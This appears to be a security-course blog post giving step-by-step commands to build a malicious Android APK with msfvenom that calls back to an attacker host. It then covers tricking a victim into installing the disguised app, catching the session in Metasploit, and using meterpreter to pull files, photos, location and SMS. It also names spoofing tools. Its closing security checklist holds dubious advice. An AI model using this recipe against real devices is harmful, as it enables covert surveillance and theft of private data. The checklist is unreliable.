Security Concepts

[Day 6] 2. Android Hacking with Kali Linux (.apk Payload)

D
DITISS Admin
••3 min read

Attacker System: Kali Linux

Victim Device: Android Phone


Steps to Create and Deliver the Payload

  1. Generate the Malicious APK
    Use the following command to create the

    .apk
    file with malicious code:

    bash
    sudo msfvenom -p android/meterpreter/reverse_http LHOST=<attacker_ip> LPORT=<attacker_port> > hack.apk
    
    • Replace
      <attacker_ip>
      with the attacker's IP address.
    • Replace
      <attacker_port>
      with the desired port number.
    • You can try
      reverse_ftp
      instead of
      reverse_http
      for different payloads.
  2. Convince the Victim to Install the APK

    • Use social engineering to make the victim install the APK file.
    • Disguise the file as a legitimate app (e.g., a game or utility).

Steps for the Hacking Process

  1. Start Metasploit Framework
    Open Metasploit on Kali Linux:

    bash
    sudo msfconsole
    
  2. Set Up a Listener
    Use the following commands in Metasploit:

    bash
    use exploit/multi/handler
    set payload android/meterpreter/reverse_http
    set LHOST <attacker_ip>
    set LPORT <attacker_port>
    exploit
    
  3. Wait for the Victim to Connect

    • Once the victim installs and opens the malicious app, the device will connect back to the attacker's listener.
    • You’ll now have a Meterpreter session.
  4. Control the Victim's Device
    In the Meterpreter session, you can execute commands like:

    • Access Files:

      bash
      ls
      download <file_path>
      upload <file_path>
      
    • Camera Control:

      bash
      webcam_list
      webcam_snap
      
    • GPS Location:

      bash
      geolocate
      
    • Read SMS:

      bash
      dump_sms
      

Additional Notes

  • Pegasus Spyware Case Study:
    Read about how Pegasus spyware infiltrates devices and exploits vulnerabilities for surveillance.
  • Android Security Settings:
    • Use features like Find My Device and Sound Amplifier.

Spoofing

  • Spoofing refers to sending fake messages or emails to deceive recipients.
    • Text Spoofing:
      Earlier tools included globalsms, way2sms, and 160by2.
    • Email Spoofing:
      Tools like Emkei's Fake Mailer allow sending fake emails.

Security Checklist

  1. Pin Visibility: Disable visible PIN codes on the lock screen.
  2. Default Settings: Ensure unused settings are disabled.
  3. Location Settings:
    • Always keep "Find My Device" enabled.
    • Keep "Privacy Settings" off to minimize unnecessary data sharing.

Read Next

8/26/2026

[Day 7] 1. Traffic Analysis with Android Emulator and Kali Linux in VirtualBox

#### **1. Components Needed:** - **Windows XP SP3** - **Android Machine (VirtualBox)** - Android ISO installed in VirtualBox. - **Tools:...

8/26/2026

[Day 7] 2. Windows XP Meterpreter Attack Using Kali Linux

#### **1. Components Required:** - **Kali Linux** (as the attacker machine) - **Windows XP** (64-bit ISO as the target machine) --- ### **2....